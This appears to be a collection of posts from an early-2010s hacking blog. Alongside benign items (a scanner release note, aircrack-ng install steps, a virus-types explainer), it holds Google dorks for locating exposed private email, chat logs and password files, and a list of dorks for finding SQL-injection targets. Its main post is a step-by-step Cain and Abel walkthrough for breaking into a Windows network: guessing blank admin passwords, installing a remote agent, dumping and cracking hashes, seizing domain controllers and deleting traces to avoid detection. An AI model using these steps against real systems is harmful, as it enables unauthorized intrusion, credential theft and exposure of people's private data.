TRY HACK

Application Specific Vulnerabilities

2011-02-18T07:18:00.000-08:00

A specific application can be anything from a video game to a web server. Masters can write these
programs or they could be written by amateurs, one is never quite sure. For every operating system there is
a user with a different set of needs, so application vulnerabilities typically don’t affect everybody.
However, this doesn’t mean millions of people still cannot be effected (consider a flaw in Microsoft
Internet Explorer, and how many people that would effect.)
Flaws in applications, like flaws in operating systems, are of the highest speed of execution but require a
more personalized touch than does straight operating system vulnerabilities. Sometimes the flaw might not
manifest itself until a condition of use occurs, making actual automation difficult. However, the critical
interaction required by the attacker is locating specifically which computers run the targeted application.
Here is an example of an application (in this case, the LARN game that comes bundled with many versions
of the BSD operating system), programmed accidentally with a vulnerability, that allows administrator
access to the host.
Sample Vulnerability [LARN bug, Discoverer: Snocrash, BSD 4.4]
          If a person scores 263 point in larn, it causes the system to
          mail the user. The process of mailing the user causes a
          potential IFS vulnerability which can be used to exploit root
          access.
This attack is not “instant” although this particular example was meant to show that non-automated
situations do exist. Keep in mind that the Vulnerability Map is an approximation of expected time and
interaction.

download free vulnerability book

w3af: Better, Stronger, Faster

2011-02-09T06:46:00.000-08:00

w3af: Better, Stronger, Faster: "

Since our latest release back in November, the w3af team has focused on making the framework better, stronger and faster. By downloading this release you’ll be able to enjoy new vulnerability checks, more stable code and a about 15% performance boost in the overall speed of your scan. Here’s what’s new:

Now using bloom filters instead of sqlite3 databases, which are persistent on disk, effectively increasing scan performance by about 15%!

Fixed most of the bugs that cause w3afMustStopExceptions and wrote debugging code to allow us to identify the remaining ones.

Based on many community requests we’ve updated our XML output plugin and wrote an XSD file to help other tools parse the output from our scanner.

Added new plugin to measure the number of hops for port 80 vs 443 and perform a comparison. Which is useful to identify load balancers, reverse proxies and any other network appliances.

On top of that, we’ve also worked on writing unit tests and a continuous integration system that we’ll use for testing our code each night. When we complete this task, we’ll be able to deliver high quality code on each release, with fewer bugs and no regressions.

As usual, you can find the download link on the w3af.com website, where you’re going to be able to find videos, users’ guide and much more.

Today Is The Day You Become A Man: Hand-Welded AT-AT Available For $450

2011-02-09T06:45:00.000-08:00

Today Is The Day You Become A Man: Hand-Welded AT-AT Available For $450: "Conceptually, this AT-AT made of old computer parts is amazing. Its well-detailed, includes real battle scarring, and it looks like it could stand in for one of the AT-ATs in the second Star Wars movie, The Wrath of Kahn. Practically, however, I worry that this $450 model available now on Etsy in a limited edition of 1 is really a make or break situation for a collector. Do you buy this and accept that you will no longer see a member of the opposite sex in the nude? Or do you let it go, secure in the knowledge that one day your offspring will drive their own AT-ATs throu"

Found User Information:

2011-01-29T03:53:00.000-08:00

It is a real fun to find user’s information over the net.
However, it is not so easy to find them. One has to really dig very deep and do
a lot of experiments for the same. The techniques defined here gives just a
primary idea about how to go ahead if one is interested in finding such
information.

Now,
having said that I would like to make it clear that my intentions are not at all to
promote the piracy of personal details. I am giving this information in the
primary form. If someone wants to find the details of someone in specific then
this is not the right place. I have written this Hub with the sole purpose to
share knowledge and learning and it will be completely on the individual who
implements these steps. Hence, I claim no responsibility of the way these
techniques will be used.

Query: “Index of” / “chat/logs”Result: This returns a list of log files of chat history of different chat rooms. However, one should not expect to get the log files of some popular chat rooms as they are kept at much secured location most of the times. If someone is looking for the same, then more research and finding is required.

Query: intitle:index.of trillian.ini
Result: Trillian integrates many messaging clients and uses various .ini files to store various encoded passwords, usernames and buddy lists.

Query: intitle:index.of dead.letter
Result: It return a list of unfinished email on UNIX platform.

Query: filetype:mbx mbx intext:Subject
Result: These searches reveal Outlook v 1-4 or Eudora mailbox files from where the email text and address could be found.

Query: filetype:eml eml +intext:"Subject" +intext:"From"
Result: This returns outlook express email files which contain emails, with full headers.

Query: filetype:blt blt +intext:screenname
Result: This query returns AIM buddy lists. It also returns screenname and who's on their 'buddy' list and their 'blocked' list.

Query: filetype:ctt ctt messenger OR filetype:ctt "msn"
Result: This will return MSN messenger contact list files. These files have an extension .ctt.

Query: filetype:blt "buddylist"
Result: Gives you AIM buddy list.

backlink list

2011-01-29T00:09:00.001-08:00

* http://www.imtalk.org/cmps_index.php?pageid=IMT-Website-Submitter
* http://verifiedfile.com/seo/
* http://www.websolhosting.com/free-instant-backlinks.php
* http://backlinks.itamer.com/index.php
* http://seo.woothy.com/index.php
* http://www.freesitescripts.com/
* http://www.totalping.com/

install aircrack on ubuntu 10.04

2010-12-28T23:18:00.000-08:00

INSTALLING AIRCRACK-NG + AIROSCRIPT-NG + AIRDROP-NG + AIRGRAPH-NG ON UBUNTU

If present, remove and delete the old directory, before continuing
- If you have installed Aircrack-ng from Repository use Synaptic

Code:

sudo apt-get remove --purge aircrack-ng

- If you have installed Aircrack-ng from source code (SVN version):

Code:

cd ~/aircrack-ng
sudo make uninstall
cd
rm -rf aircrack-ng

Update your OS and install these ESSENTIAL and recommended package BEFORE proceeding

Code:

sudo dpkg --configure -a && sudo apt-get install -f && sudo apt-get update

Code:

sudo apt-get install linux-headers-$(uname -r) build-essential make patch gettext autoconf subversion tcl8.5 openssl libssl-dev libnl1 libnl-dev libpcap0.8 libpcap0.8-dev cracklib-runtime python-scapy macchanger-gtk tshark

Upgrading/installing tool "IW" (necessary for use Stacks-mac80211 interface management)

Code:

sudo mkdir /usr/src/drivers
cd /usr/src/drivers
sudo wget http://wireless.kernel.org/download/iw/iw-0.9.21.tar.bz2
sudo tar jxvf iw-0.9.21.tar.bz2
cd iw-0.9.21
sudo make
sudo make install

Installing Aircrack-ng with Airolib-ng support on UBUNTU
(required SQlite3 installed)

Installing SQlite3

Code:

sudo mkdir /usr/src/drivers
cd /usr/src/drivers
sudo wget http://www.sqlite.org/sqlite-autoconf-3070400.tar.gz
sudo tar -zxf sqlite-autoconf-3070400.tar.gz
cd sqlite-autoconf-3070400
./configure --disable-tcl
sudo make
sudo make install

Compiling Aircrack-ng + Airolib-ng without unstable programs

Code:

cd ~/
svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd ~/aircrack-ng
make sqlite=true
sudo make sqlite=true install

Or installing the entire Suite with experimental (unstable) programs: Tkiptun-ng, Wesside-ng, Besside-ng, Easside-ng/Buddy-ng

Code:

make sqlite=true unstable=true
sudo make sqlite=true unstable=true install

Update IEEE's OUI public database
(this for log correctly manufacturer into kismet netxml files)

Code:

sudo airodump-ng-oui-update

WPA cracking speed test

Code:

aircrack-ng -S

- For check your SVN version

Code:

aircrack-ng --help | head -n 5

- For check SSE2 support

Code:

aircrack-ng --cpu-detect

Installing Airoscript-ng on UBUNTU

Compiling Airoscript-ng

Code:

cd ~/aircrack-ng/scripts/airoscript-ng
sudo make

Note: for use Airoscript-ng you need root permission:

Code:

sudo airoscript-ng

Installing Airgraph-ng on UBUNTU

This tool creates an file image of network received with Airodump-ng

Code:

cd ~/aircrack-ng/scripts/airgraph-ng
sudo make install

Note: If you receive this error: "Psyco optimizer not installed !!", you need to install this package.

Code:

sudo apt-get install python-psyco

Installing Airdrop-ng on Ubuntu

NOTE: requires installation of python-dev of your Python version installed

Compiling Airdrop-ng

Code:

cd ~/aircrack-ng/scripts/airdrop-ng
sudo python install.py

Update IEEE's OUI public database

Code:

cd ~/aircrack-ng/scripts/airdrop-ng
sudo airdrop-ng -u

Code:

#################################################
# Welcome to AirDrop-ng #
#################################################

Going to support/ to install new oui.txt...
Writing OUI file
Completed Successfully

Update Aircrack-ng SVN with Airolib-ng support on BackTrak 3

For update Aircrack-ng SVN
- Follow the same procedure used on UBUNTU by changing installation "path".
(correct directory --> "/pentest/wireless/")

Code:

cd /pentest/wireless

Types of Viruses

2010-09-01T21:18:00.000-07:00

Introduction

There are thousands of viruses, and new ones are discovered every day. It is difficult to come up with a generic explanation of how viruses work, since they all have variations in the way they infect or the way they spread. So instead, we'll take some broad categories that are commonly used to describe various types of virus.

File Viruses (Parasitic Viruses)

File viruses are pieces of code that attach themselves to executable files, driver files or compressed files, and are activated when the host program is run. After activation, the virus may spread itself by attaching itself to other programs in the system, and also carry out the malevolent activity it was programmed for. Most file viruses spread by loading themselves in system memory and looking for any other programs located on the drive. If it finds one, it modifies the program's code so that it contains and activates the virus the next time it's run. It keeps doing this over and over until it spreads across the system, and possibly to other systems that the infected program may be shared with. Besides spreading themselves, these viruses also carry some type of destructive constituent that can be activated immediately or by a particular 'trigger'. The trigger could be a specific date, or the number of times the virus has been replicated, or anything equally trivial. Some examples of file viruses are Randex, Meve and MrKlunky.

Boot Sector Viruses

A boot sector virus affects the boot sector of a hard disk, which is a very crucial part. The boot sector is where all information about the drive is stored, along with a program that makes it possible for the operating system to boot up. By inserting its code into the boot sector, a virus guarantees that it loads into memory during every boot sequence.

A boot virus does not affect files; instead, it affects the disks that contain them. Perhaps this is the reason for their downfall. During the days when programs were carried around on floppies, the boot sector viruses used to spread like wildfire. However, with the CD-ROM revolution, it became impossible to infect pre-written data on a CD, which eventually stopped such viruses from spreading. Though boot viruses still exist, they are rare compared to new age malicious software. Another reason why they're not so prevalent is that operating systems today protect the boot sector, which makes it difficult for them to thrive. Examples of boot viruses are Polyboot.B and AntiEXE.

Multipartite Viruses

Multipartite viruses are a combination of boot sector viruses and file viruses. These viruses come in through infected media and reside in memory. They then move on to the boot sector of the hard drive. From there, the virus infects executable files on the hard drive and spreads across the system. There aren't too many multipartite viruses in existence today, but in their heyday, they accounted for some major problems due to their capacity to combine different infection techniques. A significantly famous multipartite virus is Ywinz.

Macro Viruses

Macro viruses infect files that are created using certain applications or programs that contain macros. These include Microsoft Office documents such as Word documents, Excel spreadsheets, PowerPoint presentations, Access databases, and other similar application files such as Corel Draw, AmiPro, etc. Since macro viruses are written in the language of the application, and not in that of the operating system, they are known to be platform-independent they can spread between Windows, Mac, and any other system, so long as they're running the required application. With the ever-increasing capabilities of macro languages in applications, and the possibility of infections spreading over networks, these viruses are major threats.

The first macro virus was written for Microsoft Word and was discovered back in August 1995. Today, there are thousands of macro viruses in existence-some examples are Relax, Melissa.A and Bablas.

Network Viruses

This kind of virus is proficient in quickly spreading across a Local Area Network (LAN) or even over the Internet. Usually, it propagates through shared resources, such as shared drives and folders. Once it infects a new system, it searches for potential targets by searching the network for other vulnerable systems. Once a new vulnerable system is found, the network virus infects the other system, and thus spreads over the network. Some of the most notorious network viruses are Nimda and SQLSlammer.

E-mail Viruses

An e-mail virus could be a form of a macro virus that spreads itself to all the contacts located in the host's email address book. If any of the e-mail recipients open the attachment of the infected mail, it spreads to the new host's address book contacts, and then proceeds to send itself to all those contacts as well. These days, e-mail viruses can infect hosts even if the infected e-mail is previewed in a mail client. One of the most common and destructive e-mail viruses is the ILOVEYOU virus.

There are many ways in which a virus can infect or stay dormant on your PC. However, whether active or dormant, it's dangerous to let one loose on your system, and should be dealt with immediately.

Cain and Abel application

2010-08-31T21:01:00.000-07:00

The following appendices work to support these endeavors with the Cain and Abel application. Current versions of this application can be located at the author’s site at www.oxid.it.

What you will need:

1. current version of Cain from www.oxid.it

2. Windows 2000 or Windows XPSP1 configured workstation

Getting started:

Cain is an easy application to install and configure. However, there are several powerful tools that should only be configured after you fully understand both the capabilities and consequences to the application and the target network. After all, you can’t very well hack a network if you take it down. Proceed with caution.
you will need to know what you are trying to hack. This appendix assumes that you are trying to get the administrator’s username and password for the network. The focus of this appendix is on obtaining that information. The other appendices in this chapter deal with other capabilities of the application to gain access to a network. To this end we need to accomplish the following steps to get the admin account:

Hacking Security Forum

1. Enumerate the computers on the network

2. connect to a computer and install the Abel remote app

3. Harvest user account information

4. Crack user account information passwords to get the admin account

5. Login to the target machine with the admin account

6. Install the Abel service on the target server

7. Harvest all of the hashes from a server and sent to the cracker

Once we have the admin account on the server, the rest is up to you.

First things first, after you launch the application you will need configure the Sniffer to use the appropriate network card. If you have multiple network cards, it might be useful to know what your MAC address is for your primary connection or the one that you will be using for Cain network access. You can determine your MAC address by performing the following steps:

1. Go to “Start”

2. Run

3. enter the “CMD”

4. A black window will appear

5. Enter the following information into the window without the quotes

“Ipconfig /all” and then Enter

6. Determine which one of the Ethernet adapters you are using and copy the MAC address to notepad. You use this to help determine which NIC to select in the Cain application

With the Cain application open, select the Configure menu option on the main menu bar at the top of the application. The Configuration Dialog box will appear. From the list select the device with the MAC Address of Ethernet or Wireless network card that you will be using for hacking. While we are here, let’s review some of the other tabs and information in the Configuration Dialog Box. Here is a brief description of each tab and its configuration:

1. Sniffer Tab: allows the user to specify the Ethernet interface and the start up options for the sniffer and ARP features of the application.

2. ARP Tab: Allows the user to in effect to lie to the network and tell all of the other hosts that your IP is actually that of a more important host on the network like a server or router. This feature is useful in that you can impersonate the other device and have all traffic for that device “routed” to you workstation. Keep in mind that servers and routers and designed for multiple high capacity connections. If the device that you are operating from can not keep up with traffic generated by this configuration, the target network will slow down and even come to a halt. This will surly lead to your detection and eventual demise as a hacker as the event is easily detected and tracked with the right equipment.

3. Filters and Ports: Most standard services on a network operate on predefined ports. These ports are defined under this tab. If you right click on one of the services you will be able to change both the TCP and UDP ports. But this will not be necessary for this tutorial, but will be useful future tutorials.

4. HTTP Fields: Several features of the application such as the LSA Secrets dumper, HTTP Sniffer and ARP-HTTPS will parse the sniffed or stored information from web pages viewed. Simply put, the more fields that you add to the HTTP and passwords field, the more likely you are to capture a relevant string from an HTTP or HTTPS transaction.

5. Traceroute: It is what it is, trace route or the ability to determine the path that your data will take from point A to point B. Cain adds some functionality to the GUI by allowing for hostname resolution, Net mask resolution, and Whois information gathering. This feature is key in determining the proper or available devices to spoof or siphon on your LAN or internetwork.

Ok, So now you have everything all set and you are ready to rumble, as it were. Now, after I select the adapter on the sniffer tab, I generally set the sniffer to start on start up and then select apply. Do not enable the arp poisioning at this point, you will not need it and if this is your first exposure to Cain and or hacking, you will just get yourself caught with the ARP stuff. I generally stop and start the application at this point to get a clean start and reload the application with my intended settings.

So, launch the app and make sure that the first icon on the Left that looks like a miniature Ethernet card appears depressed. This indicates that the sniffer is activated. At this point, it is time to get a cup of coffee and let the app just sit. Yep, that is right, just leave it running and don’t touch anything. The reason for this is that not every device is talking all of the time and some protocols only talk on specific intervals. You will need to wait at least 300 seconds to ensure that the Cain sniffer has heard from each protocol at least once. This is most germane to routing protocols, but I have seen it take this long or longer to see all of the hosts on a LAN.

NOTE: The next section makes the assumption that you have properly configured your Ethernet interface with an IP address that is correct for your network and that you have logical connectivity to the target hosts.

At this point you are asking your self “Are we ever going to start hacking…?”

Let’s hack then. Go to the network tab and double click on the Microsoft windows network under the Entire Network navigation tree. After a few moments, the tree will expand and show each of the workgroups and domains that are accessible to your network card. From here select your target network and click the “+” symbol to the Left to open the tree.

Understanding that servers generally, or are supposed to, have more security than the other devices on the network, it is generally better to go for a workstation over a server out of the gate. Also, some servers will have monitoring agents on then that could detect what is going to happen next.

Double click on the All Computers object in the tree under the target network section of the tree. Now look at the names of the all of the devices listed. Many times the administrator will name the servers with some naming convention that will single them out in not time flat. Try to use the naming convention to your advantage and look for a pc that potentially is used by multiple persons. Key giveaways are names like scanner1, or receptionist, or lab. These machines will have several accounts on them and one of them is likely to have an admin account on it. These machines are key targets for two reasons. One, they are generally set up in a hurry when the company first sets up the network during a time when security is an afterthought, and as such they are likely to have default configurations for the local admin. Secondly, they generally have several apps on then and lots of people use them. With multiple applications, excessive rights are often granted to all users to ensure that every one can use the app that they need. Anyway, back to the hack….

When you click on your target, you will see 4 new objects in the tree under your target. These will be Groups, Services, Shares, and users. “Users” is what you want first. Double click on the users object icon and select yes to start the user enumeration. Caution! – Do not go for the history information at this time, we will get to that later. After all of the user accounts are enumerated they will be listed in alphabetical order and the local administrator will have a large red A in front of it. Ok, here we go. Go back to the computer object of the computer that you just enumerated and right click on the object. Select the connect as option. Just for fun, if the administrator account has not been renamed, it is likely that it will have a blank password or be something fairly simple. Try to log in with the user account administrator and a blank password. In about 70% of my experience at this point, the hack is over for the local machine and you are in and can start playing. If it did work, then right click on the “Services” object for the device that you have just logged into and select Install Abel. Cain will install Abel.exe and Abel.dll into the %systemroot% on the local machine. Collapse the computer object and then re-expand it by double clicking on the computer object icon and you should see a Black square with a Blue A in the middle directly under the computer object in the tree. (I get excited just thinking about it). At this point you have the keys to the castle, you just need to see which key goes where. First lets get the hashes and get the ready to crack. Double click on the users object in the tree. Say no to the history pop up for now. Select all of your users by right clicking on an account and selecting “Send all to cracker.” Leave them for now, we will come back to them. What you have just done is load a portion of the application with all of the NT and NTLM hashes for every account on the target PC.

Now, if you have been following the book, you will remember the endless posts on hackerthreads that talked about using the command line to get at certain directories on a target machine, well here is where they will come into play. (If you are not too familiar with the cmd line, please refer to the Glossary of this book and review the command line hacking section. There are many useful tools like adding users and computers to domain security groups.

Let’s go over our options:

Console: This is the command prompt on the remote machine. Anything that you can do on your pc from the CMD prompt can be done from here. Examples include mapping a drive back to your pc and copying all the files from the target or its mapped drives to your machine for later data mining, adding local users to the local security groups or anything really. With windows, everything is possible from the command prompt.

Hashes: Allows for the enumeration of user accounts and their associated hashes with further ability to send all harvested information to the cracker.

LSA Secrets: Windows NT and Windows 2000 support cached logon accounts. The operating system default is to cache (store locally), the last 10 passwords. There are registry settings to turn this feature off or restrict the number of accounts cached. RAS DUN account names and passwords are stored in the registry. Service account passwords are stored in the registry. The password for the computers secret account used to communicate in domain access is stored in the registry. FTP passwords are stored in the registry. All these secrets are stored in the following registry key: HKEY_LOCAL_MACHINE \SECURITY\Policy\Secrets

Routes: From this object, you can determine all of the networks that this device is aware of. This can be powerful if the device is multihommed on two different networks, but you read about all of that in chapter 5 – Heard, but Not Seen, Right?

TCP Table: A simple listing of all of the processes and ports that are running and their TCP session status.

UDP Table: A simple listing of all of the processes and ports that are running and their UDP session status.

Ok, back to the hack, for those of you that did not get in with the admin account with no password, another trick is to try to login to each account in the list with the same password as the username. For example, right click on the computer object in the tree and try to login with on of the user account names and use the username as the password. If that does not work then try each one with no password. I have only run into one network where these two things did not work. Also, the LSA Secrets tree object will dump the following user accounts in plain text for you if they are present:

$Machine Account

Aspnet_WP_PASSWORD

L$******************** (this is the currently logged on user with the password)

L$******************** (this will be every user that has logged in up to the total number of cached logons.

RASDAILPARAMERTERS (these are present if RAS is configured and has been used)

Backup user accounts

Misc other accounts

Note: when you see the account in plain text, it will have separators. When you type the password into a logon, omit the extra “.”. ie. The password Ramius!@# will show up as R.a.m.i.u.s.!.@.#.... All that you will type the Ramius!@#.

OK, so far we have accomplished the following goals:

1. Enumerate the computers on the network

2. connect to a computer and install the Abel remote app

3. Harvest user account information

We still need to finish the hack by performing the following steps and then move the hack to a server or more valuable target.

1. Crack user account information passwords to get the admin account

2. Login to the target machine with the admin account

3. Install the Abel service on the target server

4. Harvest all of the hashes from a server and send to the cracker

5. Crack all of the accounts

Well, we learned in chapter 2 that staying focused is the key to hacking, so lets get back to it. In the Cain application, lets to the “Cracker Tab” and have a look.

The cracker tab has two basic parts. On the left are all of the hash types that Cain will crack for you. On the right are all of the associated hashes with their usernames. What we need to do is determine the password from the hash.

Note: Now would be a good time to copy the rainbow tables and password lists from the CD’s found in the back of the book to a directory on your local machine. The use of the rainbow tables will greatly increase the speed and efficiency of the cracking process as will the dictionary files included on the CDs.

Cain provides three options for determining the password from a harvested hash; these are Dictionary guessing, Bruting and Cryptanalysis. The preferred method is Cryptanalysis as it is by far the fastest if you have the tables generated. As stated in chapter 1, it would be a good idea to have tables generated for all of the possible variants for passwords from 1-7 with all possible combinations of letters and numbers and symbols. Dictionary cracking is by far the easiest of all configurations and every hacker should have extensive lists available to use.

In this appendix we are going to explore all three options.

First, let’s look at what we can tell so far from the hashes and the Cain application. One of the columns heading looks like this <8. This means that any password with an “*” symbol is less than 8 characters. These will be the easiest to brute as they can be bruted in about 5.5 hrs with a marginal processor and memory. You can sort all of the hashes by size by clicking on the header bar at the top of the column. On the PC that I am hacking for this tutorial, I have 13 hashes and 7 of them appear to be less than 8 characters so we will start with cracking first.

Dictionary Cracking – Select all of the hashes and select Dictionary Attack (LM). You could select the NTLM but the process is slower and with few exceptions the NTLM and NT passwords are the same and NT cracks (Guesses) faster. In the Dictionary window, you will need to populate the File window with each of you dictionary files. (Move files from the CDs to your hard drive or it will take significantly longer than necessary. Check the following boxes: As is Password, Reverse, Lowercase, uppercase, and two numbers.

Dictionary Cracking

Click start and watch Cain work. The more lists and words that you have, the longer it will take. When Cain is finished, click exit and then look at the NT password column. All of the passwords cracked will show up next to the now <insert your name here> owned accounts. Voila!

Take a second to look carefully at the accounts and passwords in the list. Look for patterns like the use of letters and characters in sequence. Many administrators use reoccurring patterns to help users remember their passwords. One time I found a network where the passwords were the first three letters of the first name and the three letter month abbreviation of the month that the password was set. Example: Ramius password reset in November would have a user account of RAMNOV. If you can identify patterns like this you can use word generators to create all possible combinations and shorten the window.

Cryptanalysis attacking

Alright then… Resort your hashes so single out the accounts that you have left to crack. Now select all of the un-cracked or guessed accounts and right click on the accounts again and select Cryptanalysis (LM). Add the tables that you copied from the CD to the Cain LM hashes Cryptanalysis Sorted rainbow tables window. Click start. This should go pretty quick. Voila! Take a second to review your progress and look for additional patterns.

At this point, I would grab a program like sam grab that has the ability to determine which accounts are members of the domain administrators group to see if you have gotten any admin level accounts. Once you move to the next step, which is bruting, most of what you have left are long passwords that are going to be difficult and time consuming. Any time saver applications that you can find will be helpful.

Bruting

Repeat the same process for selecting the accounts. Here is the first time that you will actually have to use your brain in this appendix. Bruting can be extremely time consuming. Look closely at all of the passwords that you have cracked and look for patterns. First do you see any special characters in any of the passwords cracked. How about numbers? A lot of all upper case of all lower case? Use what you see to help you determine what parameters to include when you are bruting. As you will see, the addition of a single character or symbol can take you from hours to days or even years to crack a password. The goal is to use the least amount of characters and symbols to get the account that you need. So lets finish it off. Select all of the un cracked accounts and follow the previous steps and select Brute Force (LM). The default for LM is A-Z and 0-9. This is because that is due nature of LM hashes and the way that they are stored. Another note is that sometimes you will see a “?” or several “????” and then some numbers or letters. This is also due to the nature of NT versus NTLM and the method that NT used to store passwords. If you read chapter 2, you already know why this is. If not see if you can find a repeating structure that is based on the number 7. Anyway, based on the other passwords and those accounts with an “*” in the <8 field on how many characters to specify in the password length pull down box. Make your selection and have at it. Holy crap Batman … 123749997 years to completion. If you see this, then you should rethink the need for this account. However, working with the application, rainbow tables and password generators can help your narrow down to reasonable time frames to get the job done.

Ok, so now we have our admin account and are ready to finish the hack. Go back to the network tab in the Cain application and select the Domain Controllers object under the same domain where the PC was that you harvested the hashes. Double Click. Now look through the serves in the domain and select your target. If you find one with PDC or BDC in the list, pick that one. Right click on the server and select connect as and enter the “Hacked Credentials.” Now go to the “services” object and right click again and install the service. Voila! You have admin and likely every other type of access to the target host!

Now you can repeat the steps to finish the hack

And this concludes our hack as we have accomplished each of out goals.

Some things to consider:

When you exit the Cain application, all of the password hashes and cracked accounts will be saved and can be hacked later in a remote location. They can also be used against you in court as evidence.

Also you can export all of the hashes to an .lc or text file and open up the file in Excel to perform some additional sorting and the like.

All of the devices that you infected with the Abel.exe and Abel.dll will have the Abel.exe service running and because the list is alphabetical, it will always be on top of the list. Any admin, even poor ones will question the presence of a new service. And there are ways to trace the install time and originating IP and MAC address of the installing machine back to YOU. Read Chapter 5 – Heard but not seen! Covering your tracks… It is everything. Here is a hint. Enable the telnet service and connect to the hacked and from the command prompt you will use the following commands

Net stop abel.exe

Cd %windir%

Del abel.*

CD %windir%/system32

Del abel.*

Exit

Once this is complete, you will have to reinstall the Abel client app to reconnect through Cain. Oh, and there is that bit about the event and security logs…. But that is another tutorial……

( I will update this portion later, it is getting late, but check back cause there will be a ton of references and additional links)

Definitions:

MAC: Media Access Control - In computer networking a media access control address (MAC address) is a code on most forms of networking equipment that allows for that device to be uniquely identified. Each manufacturer for Network Cards has been assigned a predefined range or block of numbers. The structure and other uses of the MAC addressing are defined in the Intro to networking appendix at the end of this book. Information about manufacturer assignments for MAC addressing block assignments can also be found at the following site. http://standards.ieee.org/regauth/oui/index.shtml.

Sniffing: Sniffing is the act or process of “Listening” to some or all of the information that is being transmitted on the same network segment that a device is on. On an OSI Model Layer 1 network, even the most basic Sniffers are capable of “hearing” all of the traffic that is sent across a LAN. Moving to a Layer 2 network complicates the process somewhat, however tools like Cain allow for the spanning of all ports to allow the exploitation of layer 2 switched networks.

ARP: Address Resolution Protocol – Address Resolution Protocol; a TCP/IP function for associating an IP address with a link-level address. Understanding ARP and its functions and capabilities are key skills for hackers and security professionals alike. A basic understanding of ARP is necessary to properly utilize all of the functions that Cain is capable of.

What is a Virus?

2010-08-31T20:58:00.000-07:00

Have you ever ask your self that question befor? well here i am going to show you the basic of what a virus really is. A virus is a piece of code so will try to do wierd actions on your computer. Copy itselfs to diffrent places on the computer is the most commont action it will do. They may attach it self to a spesifc program or spesifc file type. The importent part to a virus is to survive as long as Possible. The writters to the virus want it to stay alive. What a virus will do is try to gain access to the system of the computer to take control over important Functions of the system. This is how a virus will try to stay alive. Some viruses may also try to attack Threats as AV’s disable important functions like “Task Manager” so you can’t turn off the Processes the virus is running in.

What i mean about important Functions is like “System Restore” ect this can restore the computer to a later condition. So to mabye delete all the restore points or even disable it from the user to use it. Viruses are much more harder to get ride of if they are Executed on the victems computer since than they can use hiding Techniques to try avoid to get detected by the AV’s. They will most likely try to not exist on the computer. Since they are trying to merge with virus free programs so are legaly. Also they can try to Deny access to files they are hiding in so the AV’s can’t open them up. This is just few Techniques they will try to use to stay hidden on the victems computer. So you should always scan files befor you execute them.
So how can they really take away important Functions on the computer like “Task Manager”? Every function to the computer is saved in something called registry. So viruses will normaly do alot of changs there to take out functions so are important to the computer and user. Normal computer users without knowledge about registry are’nt able to turn thos needed Functions like Task Manager on again. There is alot of persons out there in the World so don’t even know about how this really works. Think about every Person on the Earth nearly all have a computer so they have access to at home? But have they really any knownledge about the threats and how to deal with them? Answers is No!. So this is why its so very big risk for so many to get infected since they are’nt really prepared about the threats out there so are hiding in every single corner when you surf on the internet. They are’nt taking the Alert on how bad it really is. When they are download something they are’t even beliving that it might be a threat? Are they even scan the Files befor they execute them? I think No! All thos problems would’nt be so big if peoeple really open up there eyes and took a look at whats going an.
What ever all the AV’s and Security stuff poeple are making. It wont stop the threats as viruses and unwated programs will still be everywhere but if poeple just stopped up for one second and started to be abit more carefully about what they are doing on the Internet they might not be as so big risks as they are today. Just with simple few steps they can avoid to get infected.
HOW CAN I GET INFECTED?
- Downloading Software
- Clicking on Pop up windows
- Clicking on Attachments via E-Mail
- Have’t patched up the computer
- Surfing on Unsecure Sites
- Entering unsecure IRC rooms
- Clicking on Links so you may get from “Messenger” or “E-Mail”
Here you see a few ways you can get infected with viruses. So as you see its very easy get it. But if you just thinking about what you are doing on the computer you can easy avoid alot of virus infections. Many Poeple may ask what is the best protection? There are’t any program so can give you 100% secure computer. Best AV’s you have on your computer is “You”.

google dork

2010-08-30T00:33:00.000-07:00

SQLi(SQL-injection)

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
